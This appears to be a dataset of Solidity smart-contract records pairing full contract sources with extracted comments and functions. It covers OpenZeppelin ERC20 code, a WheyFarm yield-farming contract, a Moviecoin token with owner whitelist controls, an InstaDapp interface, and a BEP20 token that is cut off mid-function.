internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File @openzeppelin/contracts/utils/[email protected] pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File @openzeppelin/contracts/access/[email protected] pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File @openzeppelin/contracts/token/ERC20/[email protected] pragma solidity >=0.6.0 <0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File contracts/WheyToken.sol pragma solidity 0.6.12; contract WheyToken is ERC20("WheyToken", "WHEY"), Ownable { /// @notice Creates `_amount` token to `_to`. Must only be called by the owner (WheyFarm). function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); } } // File contracts/WheyFarm.sol pragma solidity 0.6.12; contract WheyFarm is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of WHEY // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accWheyPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accWheyPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. WHEY to distribute per block. uint256 lastRewardBlock; // Last block number that WHEY distribution occurs. uint256 accWheyPerShare; // Accumulated WHEY per share, times 1e12. See below. uint256 totalDeposit; // Total tokens deposited uint256 nextEmissionIndex; } // The WHEY TOKEN! WheyToken public whey; // Dev address. address public devaddr; // Schedule for whey emission (blocks per epoch) uint256[] public wheyEmissionSchedule; // WHEY tokens created per block for each epoch. uint256[] public wheyEmissionPerEpoch; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping(uint256 => mapping(address => UserInfo)) public userInfo; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when WHEY mining starts. uint256 public startBlock; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw( address indexed user, uint256 indexed pid, uint256 amount ); constructor( address _devaddr, uint256 _startBlock, uint256[] memory _wheyEmissionSchedule, uint256[] memory _wheyEmissionPerEpoch ) public { // Deploy WHEY whey = new WheyToken(); // LP Mint whey.mint(_devaddr, 250000 ether); devaddr = _devaddr; startBlock = _startBlock; require(_wheyEmissionSchedule.length == _wheyEmissionPerEpoch.length, "WheyFarm: Mismatch inputs"); wheyEmissionSchedule = _wheyEmissionSchedule; wheyEmissionPerEpoch = _wheyEmissionPerEpoch; } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add( uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate ) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); uint256 nextEmissionIndex = 0; if (lastRewardBlock > wheyEmissionSchedule[nextEmissionIndex].add(startBlock)) { for (uint256 i = nextEmissionIndex; i < wheyEmissionSchedule.length; i++) { if (lastRewardBlock < wheyEmissionSchedule[i].add(startBlock)) { nextEmissionIndex = i; break; } } } poolInfo.push( PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accWheyPerShare: 0, totalDeposit: 0, nextEmissionIndex: nextEmissionIndex }) ); } // Update the given pool's WHEY allocation point. Can only be called by the owner. function set( uint256 _pid, uint256 _allocPoint, bool _withUpdate ) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add( _allocPoint ); poolInfo[_pid].allocPoint = _allocPoint; } function getWheyReward(uint _nextEmissionIndex, uint _from, uint _to) public view returns (uint256) { require(_to > _from, 'WheyFarm: _to less than _from'); if (_from < startBlock) { _from = startBlock; } if (_from > wheyEmissionSchedule[_nextEmissionIndex].add(startBlock)) { return 0; } uint256 reward = 0; for (uint256 i = _nextEmissionIndex; i < wheyEmissionSchedule.length; i++) { if (_from < wheyEmissionSchedule[i].add(startBlock)) { uint256 indexBlock = _from; for (uint256 n = i; n < wheyEmissionSchedule.length; n++) { if (_to > wheyEmissionSchedule[n].add(startBlock)) { reward = reward.add((wheyEmissionSchedule[n].add(startBlock).sub(indexBlock)).mul(wheyEmissionPerEpoch[n])); indexBlock = wheyEmissionSchedule[n].add(startBlock); } else { reward = reward.add((_to.sub(indexBlock)).mul(wheyEmissionPerEpoch[n])); indexBlock = wheyEmissionSchedule[n].add(startBlock); break; } } break; } } return reward; } // View function to see pending WHEY on frontend. function pendingWhey(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accWheyPerShare = pool.accWheyPerShare; uint256 lpSupply = pool.totalDeposit; if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 wheyReward = getWheyReward(pool.nextEmissionIndex, pool.lastRewardBlock, block.number); uint256 poolWheyReward = wheyReward.mul(pool.allocPoint).div(totalAllocPoint); accWheyPerShare = accWheyPerShare.add( (poolWheyReward.mul(85).div(100)).mul(1e12).div(lpSupply) ); } return user.amount.mul(accWheyPerShare).div(1e12).sub(user.rewardDebt); } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.totalDeposit; if (lpSupply == 0) { pool.lastRewardBlock = block.number; if (pool.lastRewardBlock > wheyEmissionSchedule[pool.nextEmissionIndex].add(startBlock)) { for (uint256 i = pool.nextEmissionIndex; i < wheyEmissionSchedule.length; i++) { if (pool.lastRewardBlock < wheyEmissionSchedule[i].add(startBlock)) { pool.nextEmissionIndex = i; break; } if (pool.lastRewardBlock > wheyEmissionSchedule[i].add(startBlock) && i == wheyEmissionSchedule.length-1) { pool.nextEmissionIndex = i; break; } } } return; } uint256 wheyReward = getWheyReward(pool.nextEmissionIndex, pool.lastRewardBlock, block.number); uint256 poolWheyReward = wheyReward.mul(pool.allocPoint).div(totalAllocPoint); if (poolWheyReward > 0) { uint256 devReward = poolWheyReward.mul(15).div(100); uint256 poolReward = poolWheyReward.sub(devReward); whey.mint(devaddr, devReward); whey.mint(address(this), poolReward); pool.accWheyPerShare = pool.accWheyPerShare.add( poolReward.mul(1e12).div(lpSupply) ); } pool.lastRewardBlock = block.number; if (pool.lastRewardBlock > wheyEmissionSchedule[pool.nextEmissionIndex].add(startBlock)) { for (uint256 i = pool.nextEmissionIndex; i < wheyEmissionSchedule.length; i++) { if (pool.lastRewardBlock < wheyEmissionSchedule[i].add(startBlock)) { pool.nextEmissionIndex = i; break; } if (pool.lastRewardBlock > wheyEmissionSchedule[i].add(startBlock) && i == wheyEmissionSchedule.length-1) { pool.nextEmissionIndex = i; break; } } } } // Deposit LP tokens to WheyFarm for WHEY allocation. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accWheyPerShare).div(1e12).sub( user.rewardDebt ); if (pending > 0) { safeWheyTransfer(msg.sender, pending); } } pool.lpToken.safeTransferFrom( address(msg.sender), address(this), _amount ); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accWheyPerShare).div(1e12); pool.totalDeposit = pool.totalDeposit.add(_amount); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from WheyFarm. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accWheyPerShare).div(1e12).sub( user.rewardDebt ); if (pending > 0) { safeWheyTransfer(msg.sender, pending); } user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accWheyPerShare).div(1e12); pool.lpToken.safeTransfer(address(msg.sender), _amount); pool.totalDeposit = pool.totalDeposit.sub(_amount); emit Withdraw(msg.sender, _pid, _amount); } function harvestAll() public { uint pending = 0; for (uint256 i = 0; i < poolInfo.length; i++) { if (userInfo[i][msg.sender].amount > 0) { PoolInfo storage pool = poolInfo[i]; UserInfo storage user = userInfo[i][msg.sender]; updatePool(i); pending += user.amount.mul(pool.accWheyPerShare).div(1e12).sub( user.rewardDebt ); user.rewardDebt = user.amount.mul(pool.accWheyPerShare).div(1e12); } } require(pending > 0, "harvest: not good"); safeWheyTransfer(msg.sender, pending); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; } // Safe WHEY transfer function, just in case if rounding error causes pool to not have enough WHEY. function safeWheyTransfer(address _to, uint256 _amount) internal { uint256 wheyBal = whey.balanceOf(address(this)); if (_amount > wheyBal) { whey.transfer(_to, wheyBal); } else { whey.transfer(_to, _amount); } } function updateDev(address _devaddr) onlyOwner public { devaddr = _devaddr; } function updateWheyEmission(uint[] memory _wheyEmissionSchedule, uint[] memory _wheyEmissionPerEpoch) external onlyOwner { require(_wheyEmissionSchedule.length == _wheyEmissionPerEpoch.length, "WheyFarm: Mismatch inputs"); wheyEmissionSchedule = _wheyEmissionSchedule; wheyEmissionPerEpoch = _wheyEmissionPerEpoch; massUpdatePools(); } function getWheyPerBlock() public view returns (uint256) { for (uint256 i = 0; i < wheyEmissionSchedule.length; i++) { if (block.number < wheyEmissionSchedule[i].add(startBlock)) { return wheyEmissionPerEpoch[i]; } } return 0; } } // File contracts/helpers/CntrBalance.sol pragma solidity 0.6.12; contract CntrBalance { using SafeMath for uint; using SafeERC20 for IERC20; WheyFarm public constant wheyFarm = WheyFarm(0x7f99c3E587A168aea5fF1Fc0f840Ba7A0163d00A); IERC20 public constant CNTR = IERC20(0x03042482d64577A7bdb282260e2eA4c8a89C064B); IERC20 public constant CNTR_WETH_LP = IERC20(0xa12b7a78a31854d2E9Ee8FBC92E262AAf4FCd4f1); function balanceOf(address _address) external view returns (uint) { // Address Balance uint balance = CNTR.balanceOf(_address); // LP balance (uint lpBalance,) = wheyFarm.userInfo(2, _address); lpBalance = lpBalance.add(CNTR_WETH_LP.balanceOf(_address)); // Amount of CNTR in LP tokens balance = balance.add(lpBalance.mul(CNTR.balanceOf(address(CNTR_WETH_LP))).div(CNTR_WETH_LP.totalSupply())); return balance; } }
Address Balance LP balance Amount of CNTR in LP tokens
function balanceOf(address _address) external view returns (uint) { uint balance = CNTR.balanceOf(_address); (uint lpBalance,) = wheyFarm.userInfo(2, _address); lpBalance = lpBalance.add(CNTR_WETH_LP.balanceOf(_address)); balance = balance.add(lpBalance.mul(CNTR.balanceOf(address(CNTR_WETH_LP))).div(CNTR_WETH_LP.totalSupply())); return balance; }
1,967,127
//Address: 0x4f1adC39f25B67146bA15d8BF453A7F502e58a79 //Contract name: Moviecoin //Balance: 0 Ether //Verification Date: 3/23/2018 //Transacion Count: 1 // CODE STARTS HERE pragma solidity ^0.4.18; // ---------------------------------------------------------------------------------------------- // Moviecoin Token by Xender Limited. // An ERC20 standard // // author: Xender Team // Contact: [email protected] // ---------------------------------------------------------------------------------------------- /* Standard Token interface */ contract ERC20Interface { // Get the total token name function name() public constant returns (string); // Get the total token symbol function symbol() public constant returns (string); // Get the total token decimals function decimals() public constant returns (uint); // Get the total token supply function totalSupply() public constant returns (uint256); // Get the account balance of another account with address _owner function balanceOf(address _owner) public constant returns (uint256); // Send _value amount of tokens to address _to function transfer(address _to, uint256 _value) public returns (bool); // transfer _value amount of token approved by address _from function transferFrom(address _from, address _to, uint256 _value) public returns (bool); // approve an address with _value amount of tokens function approve(address _spender, uint256 _value) public returns (bool); // get remaining token approved by _owner to _spender function allowance(address _owner, address _spender) public constant returns (uint256); // Triggered when tokens are transferred. event Transfer(address indexed _from, address indexed _to, uint256 _value); // Triggered whenever approve(address _spender, uint256 _value) is called. event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /* owned manager */ contract Owned { // Owner of this contract address owner; // permit transaction bool isLock = true; // white list mapping(address => bool) whitelisted; function Owned() public { owner = msg.sender; whitelisted[owner] = true; } modifier onlyOwner { require(msg.sender == owner); _; } modifier isUnlock () { if (isLock){ require(whitelisted[msg.sender] == true); } _; } /** * add new address to white list */ function addWhitelist(address _white) public onlyOwner { whitelisted[_white] = true; } /** * remove address from white list */ function removeWhitelist(address _white) public onlyOwner { whitelisted[_white] = false; } /** * check whether the address is in the white list */ function checkWhitelist(address _addr) public view returns (bool) { return whitelisted[_addr]; } /** * unlock token. Only after unlock can it be traded. */ function unlockToken() public onlyOwner returns (bool) { isLock = false; return isLock; } } /* Utilities & Common Modifiers */ contract Utils { /** constructor */ function Utils() public { } // validates an address - currently only checks that it isn't null modifier validAddress(address _address) { require(_address != 0x0); _; } // Overflow protected math functions /** @dev returns the sum of _x and _y, asserts if the calculation overflows @param _x value 1 @param _y value 2 @return sum */ function safeAdd(uint256 _x, uint256 _y) internal pure returns (uint256) { uint256 z = _x + _y; require(z >= _x); return z; } /** @dev returns the difference of _x minus _y, asserts if the subtraction results in a negative number @param _x minuend @param _y subtrahend @return difference */ function safeSub(uint256 _x, uint256 _y) internal pure returns (uint256) { require(_x >= _y); return _x - _y; } } /* Moviecoin Token */ contract Moviecoin is ERC20Interface, Owned, Utils { string name_ = 'Dayibi'; string symbol_ = 'DYB'; uint8 decimals_ = 8; uint256 totalSupply_ = 10 ** 18; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; function Moviecoin() public { balances[msg.sender] = totalSupply_; Transfer(0x0, msg.sender, totalSupply_); } /** * @dev token's symbol */ function name() public constant returns (string){ return name_; } /** * @dev set token name */ function setName(string _name) public onlyOwner { name_ = _name; } /** * @dev token's symbol */ function symbol() public constant returns (string){ return symbol_; } /** * @dev set token symbol */ function setSymbol(string _symbol) public onlyOwner { symbol_ = _symbol; } /** * @dev token's decimals */ function decimals() public constant returns (uint){ return decimals_; } /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Get the account balance of another account with address _owner */ function balanceOf(address _owner) public constant returns (uint256) { return balances[_owner]; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public isUnlock returns (bool) { require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public isUnlock returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = safeSub(balances[_from], _value); balances[_to] = safeAdd(balances[_to], _value); allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender], _value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public isUnlock validAddress(_spender) returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Don't accept ETH */ function () public payable { revert(); } /** * @dev Owner can transfer out any accidentally sent ERC20 tokens */ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
set token name/
function setName(string _name) public onlyOwner { name_ = _name; }
15,805,487
./full_match/42161/0x9B6b208a014AF2F1B93C64753A015CEc1255304e/sources/contracts/external/instaDapp/IConnectV2BasicB.sol
BASIC-B 0x4dfa1780ae85f0ec7197c61ffe533c7dc84f15e9/
interface IConnectV2BasicB { function depositERC721( address token, uint256 tokenId, uint256 getId, uint256 setId ) external payable returns (string memory _eventName, bytes memory _eventParam); function withdrawERC721( address token, uint256 tokenId, address payable to, uint256 getId, uint256 setId ) external payable returns (string memory _eventName, bytes memory _eventParam); }
16,307,167
pragma solidity 0.5.16; interface IBEP20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8); /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the token name. */ function name() external view returns (string memory); /** * @dev Returns the bep token owner. */ function getOwner() external view returns (address); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address _owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { 